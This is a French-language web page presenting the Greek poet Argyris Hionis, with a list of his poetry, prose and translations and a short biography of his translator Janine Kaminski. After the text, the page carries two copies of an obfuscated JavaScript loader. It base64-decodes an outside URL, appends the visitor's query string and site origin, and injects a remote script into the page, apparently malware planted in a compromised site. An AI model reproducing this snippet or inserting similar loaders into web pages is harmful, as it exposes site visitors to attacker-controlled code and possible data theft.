Argyris Hionis est né en 1943 à Athènes. Il a publié ses premiers poèmes à l’âge de 23 ans. Pendant vingt ans, il a vécu dans les pays de l’Europe du nord où il a travaillé en tant que traducteur au Conseil de l’Union Européenne. Depuis 1992 et suite à sa démission il vit dans un village de
montagne de la région de Corinthe où il fait de l’agriculture. Il a publié plusieurs recueils, il a traduit plusieurs auteurs en différentes langues (anglais, français, espagnol, italien, hollandais) et il a été publié dans plusieurs revues litteraires étrangères. Il a traduit Astérix en grec ainsi qu’une grande partie d’Iznogoud.
Poésie:
“Hauteur horizontale” ed. Kixli, Athènes 2008
“A propos d’anges et de demons” ed. Gavlilidis, Athènes 2007
“Quand le silence a chanté et d’autres événenents insignifiants” ed. Nefeli, Athènes 2006
“Etres et non êtres” ed. Gavriilidis, Athènes 2006
“Au sous sol”, ed. Nefeli Athènes 2004
“Idéogrammes”, ed. Ta Tramakia, Thessalonique 1997
Tentative de lumière ed. Dodecati Ora 1996
“Le courreur infatigable” ed. Nefeli, Athènes 1996
“Paysages érotiques” ed. Nefeli, Athènes 1991
“Comme l’aveugle devant le miroir” ed. Yakinthos, Athènes 1986
“Paysages de mots” ed. Kastaniotis, Athènes 1983
“Sortes de soleil” ed. Egnatia-Tram, Thessalonique 1978
“Métamorphoses” ed.Arion, Athènes 1974
“Formes d’ absence” ed. Arion, Athènes 1973
Prose:
“Trois contes merveilleux” ed. “Patakis” Athènes 1998“
“Le triomphe invisible de la beauté” ed. “Patakis”, Athènes 1995
Histoires d’une époque ancienne qui n’est pas encore venue” ed.”Spiliotis” Athènes 1981
Traductions:
Nikanor Parra, Poèmes d’un besoin urgent. Athènes, Gavriilidis 2008
Poésie étrangère du 20ème siecle( collectif) Athènes, Ellinika Grammata 2007
Henri Michaux, “Avec l’hameçon dans le coeur”. Athènes Gavriilidis 2003
Jane Austen “Fiérté et Superstition” ed. Patakis, Athènès 1997
Roberto Juarroz,”Poésie verticale” ed. Ta Tramakia, Théssalonique 1997
Russel Edson,”Quand le plafond pleure” (poèsie) ed. Aigokeros, Athènes 1986
Octavio Paz “Poèsie” ed. Spiliotis, Athènes 1981
Janine Kaminski, helléniste, apprend le grec moderne après avoir enseigné le grec ancien pendant plus de trente ans dans le secondaire. C’est en lisant la poésie d’Argyris Hionis qu’elle est touchée par son écriture et elle lui propose de traduire certains de ses poèmes. Ainsi est née une collaboration fructueuse entre le poète et sa traductrice. Plusieurs de ses traductions ont été publiées dans la revue “Lychnos”, car elle est membre actif de l’association philhellène “Connaissance Hellénique” à Aix qui publie cette revue.
(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();